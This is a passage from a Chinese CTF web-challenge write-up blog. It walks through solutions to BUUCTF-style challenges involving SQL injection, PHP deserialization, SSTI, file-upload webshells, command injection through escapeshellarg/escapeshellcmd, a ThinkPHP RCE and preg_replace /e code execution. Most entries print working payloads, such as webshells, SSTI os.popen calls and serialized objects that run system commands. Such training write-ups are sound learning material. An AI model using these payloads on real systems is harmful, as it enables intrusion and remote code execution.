26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

之前sql注入时,目录也爆出来了:

1
/var/www/html/

构造payload:

1
2
3
4
5
6
7
<?php
class UserInfo
{
public $blog = "file:///var/www/html/flag.php";
}
echo serialize(new UserInfo());
?>

请求:

1
?no=0 union/**/select 1,2,3,'O:8:"UserInfo":1:{s:4:"blog";s:29:"file:///var/www/html/flag.php";}' from users;--+

得到flag。

[GXYCTF2019]BabySQli(TODO)

[网鼎杯 2020 青龙组]AreUSerialz

#PHP特性 #反序列化

题目给出了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;
protected $filename;
protected $content;

function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {
echo "[Result]: <br>";
echo $s;
}

function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}

}

我的思路就是绕过is_valid后,op=2调用read函数读取flag。

is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过。

destruct中op===”2”是强比较,而process()使用的是弱比较op==”2”,可使用op=2绕过。

构造payload:

1
2
3
4
5
6
7
8
9
<?php

class FileHandler {
    public $op = 2;
    public  $filename = "flag.php";
}
echo serialize(new FileHandler());

?>

请求

1
?str=O:11:"FileHandler":2:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";}

在源码注释中找到flag。

[BJDCTF 2nd]fake google

#SSTI

随便输入什么东西,回车,在返回的页面源码中看到:

1
<!--ssssssti & a little trick -->

提示SSTI。

请求qaq?name=49返回49成功执行。

读取根目录:

1
{{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}

看到flag,读取flag:

1
{{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}

[MRCTF2020]你传你🐎呢

#文件上传

Burpsuite抓包后,修改Content-Type和文件后缀上传图片马。

再上传.htaccess让刚刚上传的图片可以被做为php来解析:

1
2
3
<Files pass.jpg>
ForceType application/x-httpd-php
</Files>

用菜刀连接刚刚的图片马,在根目录下找到flag。

[GYCTF2020]Blacklist

#SQL注入

尝试union select注入时,返回黑名单:

1
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

看到这道题就有印象,和[强网杯 2019]随便注差不多,但是过滤的东西变多了。

先使用堆叠注入。读数据库:

1
0'; show databases;--+

读表:

1
0'; show tables;--+

读列:

1
0'; show columns from FlagHere;--+

看到flag列,要读数据首先还是要绕过黑名单。

查了一下,又学到一个新知识:HANDLER

1
2
3
4
5
6
7
8
9
10
HANDLER tbl_name OPEN [ [AS] alias]

HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
[ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
[ WHERE where_condition ] [LIMIT ... ]

HANDLER tbl_name CLOSE

HANDLER ... OPEN语句打开一个表,使其可以使用后续HANDLER ... READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER ... CLOSE或会话终止之前不会关闭

payload:

1
0';HANDLER FlagHere OPEN;HANDLER FlagHere READ FIRST;HANDLER FlagHere CLOSE;--+

[强网杯 2019]高明的黑客(TODO)

提示网站备份到www.tar.gz,可以直接下载下来。

文件夹里有3000+php文件,而且命名看起来也是随机字符串,随便点开一个看也是混淆严重。

本来想偷懒,用杀毒软件和D盾之类的扫,发现并不能行。

要写代码,但是今天不想写,也没时间,以后再说吧。虽然可以用其他人的,但没什么意义。

[MRCTF2020]Ez_bypass

#PHP特性

题目提示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}

}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first

挺简单的绕过。

1
md5($id) === md5($gg) && $id !== $gg

由于php的md5函数无法处理数组,可以使用id[]=1&gg[]=2绕过。

对第二个检查:

1
2
3
4
5
6
7
8
9
if (!is_numeric($passwd)) {
if($passwd==1234567) {
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
} else {
echo "can you think twice??";
}
}

也是一个比较缺陷,当$passwd=1234567a即可绕过。此时判断passwd不是数字,但在等于判断时,会自动进行类型转换,数字后的会被抛弃以绕过。

最后的payload:

1
2
3
?id[]=1&gg[]=2
POST:
passwd=1234567a

[BUUCTF 2018]Online Tool

#PHP函数漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}

if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}

escapeshellarg和escapeshellcmd两个函数连在一起可能会有问题。

  1. 传入的参数是:172.17.0.2' -v -d a=1
  2. 经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd\以及最后那个不配对的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
  4. 最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'

此外,nmap参数-oG可以将输出写到文件里。

最后的payload为:

1
?host=' <?php @eval($_POST["pass"]);?> -oG pass.php '

用菜刀连接生成的一句话,在根目录找到flag。

参考:

https://paper.seebug.org/164/

http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/

[RoarCTF 2019]Easy Java

#JAVA敏感文件泄露

页面上有一个help,点击返回:

1
java.io.FileNotFoundException:{help.docx}

使用POST可以成功下载。

1
2
3
/Download
POST:
filename=help.docx

尝试下载WEB-INF/web.xml成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">

<welcome-file-list>
<welcome-file>Index</welcome-file>
</welcome-file-list>

<servlet>
<servlet-name>IndexController</servlet-name>
<servlet-class>com.wm.ctf.IndexController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>IndexController</servlet-name>
<url-pattern>/Index</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>LoginController</servlet-name>
<servlet-class>com.wm.ctf.LoginController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>LoginController</servlet-name>
<url-pattern>/Login</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>DownloadController</servlet-name>
<servlet-class>com.wm.ctf.DownloadController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadController</servlet-name>
<url-pattern>/Download</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>FlagController</servlet-name>
<url-pattern>/Flag</url-pattern>
</servlet-mapping>

</web-app>

在最后一个servlet中我们可以看到flag相关的类。

下载FlagController类:

1
filename=WEB-INF/classes/com/wm/ctf/FlagController.class

使用jd对class进行反编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet(name="FlagController")
public class FlagController extends HttpServlet
{
String flag = "ZmxhZ3tiOWZkN2NmZC0wODdhLTRjNzktYjRiNy0xMTZhNWI2ZjJiN2N9Cg==";

protected void doGet(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHttpServletResponse) throws ServletException, IOException {
PrintWriter localPrintWriter = paramHttpServletResponse.getWriter();
localPrintWriter.print("<h1>Flag is nearby ~ Come on! ! !</h1>");
}
}

Base64解码得到flag。

[GKCTF2020]cve版签到

#CVE利用

Hint提示:cve-2020-7066

查看CVE的详细信息:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7066

In PHP versions 7.2.x below 7.2.29, 7.3.x below 7.3.16 and 7.4.x below 7.4.4, while using get_headers() with user-supplied URL, if the URL contains zero (\0) character, the URL will be silently truncated at it. This may cause some software to make incorrect assumptions about the target of the get_headers() and possibly send some information to a wrong server.

https://bugs.php.net/bug.php?id=79329

get_headers() silently truncates anything after a null byte in the URL it uses.

This was tested on PHP 7.3, but the function has always had this bug.

The test script shows that this can cause well-written scripts to get headers for an unexpected domain. Those headers could leak sensitive information or unexpectedly contain attacker-controlled data.

Test script:
-————–

1
2
3
4
5
6
7
8
9
10
11
> <?php
> // user input
> $_GET['url'] = "http://localhost\0.example.com";
>
> $host = parse_url($_GET['url'], PHP_URL_HOST);
> if (substr($host, -12) !== '.example.com') {
> die();
> }
> $headers = get_headers($_GET['url']);
> var_dump($headers);
>

Expected result:
-—————
Warning: get_headers() expects parameter 1 to be a valid path, string given in php shell code on line 1
NULL

Actual result:
-————-
headers from http://localhost

使用%00截断请求:

1
?url=http://127.0.0.1%00www.ctfhub.com
1
2
3
4
5
6
7
8
9
10
11
12
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Thu, 04 Feb 2021 09:51:45 GMT
[2] => Server: Apache/2.4.38 (Debian)
[3] => X-Powered-By: PHP/7.3.15
[4] => Tips: Host must be end with '123'
[5] => Vary: Accept-Encoding
[6] => Content-Length: 113
[7] => Connection: close
[8] => Content-Type: text/html; charset=UTF-8
)

可以看到:Tips: Host must be end with '123',把127.0.0.1换为127.0.0.123即可得到flag。

[GXYCTF2019]禁止套娃

#Git泄露 #WAF绕过

存在git泄露。

使用githack获得源码:python GitHack.py http://a898f8c0-4836-4e5e-856c-61818b97d35e.node3.buuoj.cn/.git/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>

这个题有两种解法:

session_id

本题目虽然ban了hex关键字,导致hex2bin()被禁用,但是我们可以并不依赖于十六进制转ASCII的方式,因为flag.php这些字符是PHPSESSID本身就支持的。
使用session之前需要通过session_start()告诉PHP使用session,php默认是不主动使用session的。
session_id()可以获取到当前的session id。

因此我们手动设置名为PHPSESSID的cookie,并设置值为flag.php

请求:

1
2
cookie: PHPSESSID=flag.php
?exp=highlight_file(session_id(session_start()));

scandir

常用函数被禁了,尝试使用scandir列目录。由于过滤,常用的列目录参数不可以使用,尝试使用localeconv()

localeconv() 函数返回一包含本地数字及货币格式信息的数组。

localeconv() 函数会返回以下数组元素:

  • [decimal_point] - 小数点字符
  • ……

其他见:

https://www.php.net/manual/en/function.localeconv.php

https://www.runoob.com/php/func-string-localeconv.html

取出数组里的值就需要current(),或者pos()current()的别名)。

参考:

https://www.php.net/manual/zh/function.current.php

https://www.php.net/pos

列目录:

1
2
?exp=print_r(scandir(current(localeconv())));
Array ( [0] => . [1] => .. [2] => .git [3] => flag.php [4] => index.php )

看到flag.php

接下来需要next()array_reverse()

参考:

https://www.php.net/manual/zh/function.next.php

https://www.php.net/manual/zh/function.array-reverse.php

大致思路是将数组倒置后next指向下一个元素就拿到了flag.php。

最后的payload:

1
?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

[GXYCTF2019]BabyUpload

#文件上传

尝试上传一句话提示:后缀名不能有ph!

修改Content-Type提示:诶,别蒙我啊,这标志明显还是php啊

使用png和script绕过上传成功

1
2
3
4
5
Content-Disposition: form-data; name="uploaded"; filename="1.png"
Content-Type: image/jpeg


<script language="php">@eval($_POST['pass']);</script>

接下来上传.htaccess成功。

1
SetHandler application/x-httpd-php

用菜刀连接,在根目录下找到flag

[BJDCTF 2nd]old-hack

#漏洞利用

页面提示Thinkphp5。

请求?s=1返回异常页面,可以看到Thinkphp的版本是5.0.23。可以找到一个RCE的漏洞。直接读取flag。

payload:

1
2
3
/?s=1
POST:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /flag

[安洵杯 2019]easy_web(TODO)

看url:

1
/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=

img参数Base64解码两次再hex转字符串为555.png

反之,把index.php反向加密回去为:TmprMlpUWTBOalUzT0RKbE56QTJPRGN3。得到index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd']))
header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
echo '<img src ="./ctf3.jpeg">';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "<img src='data:image/gif;base64," . $txt . "'></img>";
echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "<br>";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}

?>
<html>
<style>
body{
background:url(./bj.png) no-repeat center center;
background-size:cover;
background-attachment:fixed;
background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

[BJDCTF2020]Mark loves cat

#Git泄露 #变量覆盖

存在git泄露。但是有一个问题,我用githack只能下载到assert文件夹,能看到index.php和flag.php却没下载下来。我就刷个题,也没时间详细分析这些问题,就直接去题目给的Github地址上找到了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){
$$x = $y;
}

foreach($_GET as $x => $y){
$$x = $$y;
}

foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}



echo "the flag is: ".$flag;

看到连续的两个$就要考虑是不是可能有变量覆盖。

构造payload:

1
2
3
/?yds=flag
POST:
$flag=flag

[BJDCTF2020]The mystery of ip

#SSTI

打开后看到两个页面:flag和hint。

flag里返回了一个局域网的ip。在hint的源码里看到注释:

1
<!-- Do you know why i know your ip? -->

修改X-Forwarded-For重新请求发现ip变了,这里应该就是入口。

尝试修改各种ip并没有什么用,尝试注入也没反应。查了一下原来是SSTI,绝了。

输入

1
X-Forwarded-For: {{1+1}}

返回49。应该是可以执行的。列目录:

1
2
{{system('ls')}}
{{system('ls /')}}

读flag:

1
{{system('cat /flag')}}

[GWCTF 2019]我有一个数据库(TODO)

环境打不开

[BJDCTF2020]ZJCTF,不过如此

#命令执行

题目给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
die("Not now!");
}

include($file); //next.php

}
else{
highlight_file(__FILE__);
}
?>

text可以使用php:input伪协议绕过。file不能传flag,先读取next.php

payload:

1
2
/?text=php://input&file=php://filter/convert.base64-encode/resource=next.php
I have a dream

解码得到next.php源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}


foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}

function getFlag(){
@eval($_GET['cmd']);
}

preg_replace使用e导致RCE。

https://xz.aliyun.com/t/2557

preg_replace函数在匹配到符号正则的字符串时,会将替换字符串(也就是代码中preg_replace函数的第二个参数)当做代码来执行。

上面的命令执行,相当于 eval('strtolower("\\1");')结果,当中的 \1 实际上就是 \1 ,而 \1 在正则表达式中有自己的含义。我们来看看 W3Cschool 中对其的描述:

反向引用

对一个正则表达式模式或部分模式 两边添加圆括号 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 ‘\n’ 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数。

所以这里的 \1 实际上指定的是第一个子匹配项,我们拿 ripstech 官方给的 payload 进行分析,方便大家理解。官方 payload 为:/?.*={${phpinfo()}},即 GET 方式传入的参数名为 /?.* ,值为{${phpinfo()}}

原先的语句: preg_replace(‘/(‘ . $regex . ‘)/ei’, ‘strtolower(“\1”)’, $value);
变成了语句: preg_replace(‘/(.*)/ei’, ‘strtolower(“\1”)’, {${phpinfo()}});

上面的 preg_replace 语句如果直接写在程序里面,当然可以成功执行 phpinfo() ,然而我们的 .* 是通过 GET 方式传入,你会发现无法执行 phpinfo 函数。

我们 var_dump 一下 $_GET 数组,会发现我们传上去的 .* 变成了 _* ,这是由于在PHP中,对于传入的非法的 $_GET 数组参数名,会将其转换成下划线,这就导致我们正则匹配失效。

所以我们要做的就是换一个正则表达式,让其匹配到 {${phpinfo()}}即可执行 phpinfo 函数。这里我提供一个 payload : \S*=${phpinfo()}

下面再说说我们为什么要匹配到 {${phpinfo()}}或者 ${phpinfo()} ,才能执行 phpinfo 函数,这是一个小坑。这实际上是PHP可变变量 的原因。在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 ${phpinfo()}中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)。如果这个理解了,你就能明白下面这个问题:

1
2
3
4
5
6
7
8
> var_dump(phpinfo()); // 结果:布尔 true
> var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
> var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
>
> var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
> var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
> 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
>

此处可以用getFlag读flag也可以直接执行命令。

直接执行,payload:

1
/next.php?\S*=${eval($_POST[pass])}

用菜刀连接,在根目录下找到flag。

或者调用getFlag函数:

1
/next.php?\S*=${getflag()}&cmd=highlight_file('/flag');

[De1CTF 2019]SSRF Me(TODO)

题目给了源码,是flask。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)

class Task:
def __init__(self, action, param, sign, ip):#python得构造方法
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)

def Exec(self):#定义的命令执行函数,此处调用了scan这个自定义的函数
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:#action要写scan
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param) # 此处是文件读取得注入点
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp #输出结果
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:#action要加read
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result

def checkSign(self):
if (getSign(self.action, self.param) == self.sign): #校验
return True
else:
return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST']) # 这个路由用于测试
def geneSign():
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])#这个路由是注入点
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())

@app.route('/')#根目录路由,就是显示源代码得地方
def index():
return open("code.txt","r").read()

def scan(param):#这是用来扫目录得函数
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"

def getSign(action, param):#!!!这个应该是本题关键点,此处注意顺序先是param后是action
return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
return hashlib.md5(content).hexdigest()

def waf(param):#这个waf比较没用好像
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False

if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0')

[网鼎杯 2020 朱雀组]phpweb

#PHP反序列化

1
2
3
<form  id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>

尝试执行phpinfo():

1
func=eval&p=phpinfo()

提示Hacker,有过滤。读一下源码:

1
func=highlight_file&p=index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

尝试反序列化:

1
2
3
4
5
6
7
<?php
class Test{
var $p = "ls /";
var $func = "system";
}
echo(serialize(new Test());
?>

列根目录

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:4:"ls /";s:4:"func";s:6:"system";}
1
bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv start.sh sys tmp usr var var

没找到flag。在tmp目录下看到flagoefiu4r93,查看该文件得到flag。

1
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

[BJDCTF 2nd]假猪套天下第一

#HTTP协议

用户名输入admin登录,用Burpsuite抓包,提示:

1
2
<!-- L0g1n.php --><br />
<b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:89) in <b>/var/www/html/index.php</b> on line <b>92</b><br />

访问:L0g1n.php

提示:

1
Sorry, this site will be available after totally 99 years!

可以注意到cookie里有一个time,把它调大。

1
time=1612692996

改成5612692996后,提示:

1
Sorry, this site is only optimized for those who comes from localhost

在header里添加X-Forwarded-For

1
X-Forwarded-For: 127.0.0.1

提示:

1
Do u think that I dont know X-Forwarded-For?<br>Too young too simple sometimes naive

那改成X-Real-IP绕过,提示:

1
Sorry, this site is only optimized for those who come from gem-love.com

加上referer:

1
Referer: gem-love.com

提示:

1
Sorry, this site is only optimized for browsers that run on Commodo 64

加UA:

1
User-agent: Commodo 64

提示:

1
no no no i think it is not the real commmodo 64, <br>what is the real ua for Commdo?

百度找了一个:

1
User-agent: Contiki/1.0 (Commodore 64; http://dunkels.com/adam/contiki/)

提示:

1
Sorry, this site is only optimized for those whose email is root@gem-love.com

添加From:

1
From: root@gem-love.com

提示:

1
